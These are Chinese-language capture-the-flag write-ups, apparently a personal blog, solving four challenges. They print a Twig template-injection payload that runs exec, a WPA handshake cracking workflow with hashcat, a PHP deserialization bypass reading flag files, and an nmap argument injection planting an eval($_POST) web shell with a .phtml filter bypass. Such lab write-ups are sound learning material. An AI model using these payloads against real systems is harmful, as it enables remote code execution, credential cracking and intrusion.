BJDCTF-2020-Web-Cookie is so subtle!(twig,ssti)
先百度
瞎测了一下,居然测出给git泄露了?
跑了下脚本,不是git泄露。 淦
重新开始
在hint下面发现了提示
在flag.php页面登陆后,抓包发现,cookie里面多了变量user。
看了大佬的提示:是模板注入,靠,这怎么想得到啊。菜鸡我是真的涨姿势了。
如果输入NaN如果 输出7777777 则是jinja2模板
如果是 49 则是 twig模板
这里输出了49 则这是 twig模板注入
了
大佬的在博客中指出了怎样构造pauload
我这里简单总结一下
twig提供了一个_self,它可以调用env(env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置)
不过call_user_function()函数一般被php禁用了,不过有一个getFile() 可以调用call_user_function()
然后利用registerUnderfinedFilterCallback()函数将exec作为回调函数传进去。
至此payload创建成功,只需要在后面加上自己想要执行的命令就行了
payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
success
https://blog.csdn.net/Aidang/article/details/108182487
https://zhuanlan.zhihu.com/p/28823933
Bugku 蹭网先解开密码(hashcat)
无意中得知了hashcat这个神奇 ,但是第一次接触不会用啊,于是在网上找题目实战,刚好bugku就有一道用hashcat破解wifi密码的杂项题。
下载wifi.cap文件,这个文件是wifi的握手包,即为采用的wpa加密方式的无线ap与无线客户端连接前的认证信息包,可以通过这个握手包暴力破解密码。
因为是破解,所以得写一个电话号码的字典给它跑。电话号码一般都是11位的,而且这里还告诉了前8位,所以用脚本生成一个11位的电话号码字典。
a = 1391040
f = open('pass.txt', 'w')
for i in range(0,1000):
psd = a + str(i).zfill(4)
f.write(psd+'\n')
hashcat
然后到 https://hashcat.net/hashcat/ 下载 hashcat binaries 文件
到 https://hashcat.net/cap2hccapx/ 将 .cap文件转换成 .hccapx文件
然后将hccapx文件与字典放入hashcat的文件夹
输入命令 vhashcat.exe -m 2500 1.hccapx pass.txt
成功跑出手机号码
EWSA
导入握手包
点击ok
导入字典
开始爆破
success
[网鼎杯 2020 青龙组]AreUSerialz(序列化,protected)
参考:https://www.cnblogs.com/Cl0ud/p/12874458.html
打开就是源码,加上名字已经暗示的很清楚了,这是一道反序列化的代码审计题
注入点是在最后,要给str传参,传的值得经过is_valid()
函数进行判断
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
ord()函数返回字符的ascll值,这里的判断条件是str字符串里的每个字符的都得ascll都得大于32,或小于125。
具体可以去查表,大概也就是说以下和一些不可取。
不管怎样,先把源码放进本地环境跑跑
给str传参,回显bad hacker!这时就该去FileHandler ()
里面看看有没有可以利用的函数了。
太菜了,都忘记会先调用构造函数destruct()了。它会先进行强类型比较
通过的话把1赋给op,然后将content赋为空,转到process去
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
如果op为1就执行write(),如果op为2就执行read(),read函数后面还有一个output函数输出。感觉这里应该可以利用来输出flag。
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
read 里面有file_get_contents() 应该可以用来读取文件
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
毕竟是读文件感觉write应该没用。
为了进行读flag,op必须为2,但这里可以用强类型绕过只要两边值的类型不同就直接false,所以给op赋值为整型的2,因为比较的时候op比较的是str类型的2,就直接false了。
在构造函数里将op赋值整型2,filrname为flag.php
这时看到序列化后的字符串有方块,这事实上是ascll为0的空字符,用这个去当payload肯定是不行了。
上网查了下,因为前面设置变量的时候设置的私有变量,私有变量序列化后就会有空字符。为了去掉这个,大佬说可以将
protected属性改为public
跑payload:
success
[网鼎杯 2020 朱雀组]Nmap(RCE,nmap)
题目有提示:
之前好像做过类似的题,用的linux通道符远程命令执行。搞出来的。
查看报告详情的时候这里的url栏里出现了一个变量f后面接的是前面报告的名称。
随便输了个flag后报错了。出现了个函数提醒,根据这个函数应该可以推测处和xxe
漏洞有关。
抓包发现php的版本,再根据前面的提示 flag is in / flag
构造payload
xxe的payload试了半天都没用估计和这个关系不大了,又回到前面的远程命令执行。
突然想起来之前在buu 做的一道 online tools 也是利用命令执行和nmap的一个参数,写一句话木马,连上得到flag的。
' <php?= @eval($_POST["hack"]);?> -oG hack.php '
啊这有问题,经过多次测试后应该是有对php的过滤。然后重新构造payload才行。可以将前面的php删除掉。经过测试过以下后缀后将发现改为pht,phtml可以绕过。
然后访问下hack.phtml试一试上传成功没。
连上菜刀在根目录下找到flag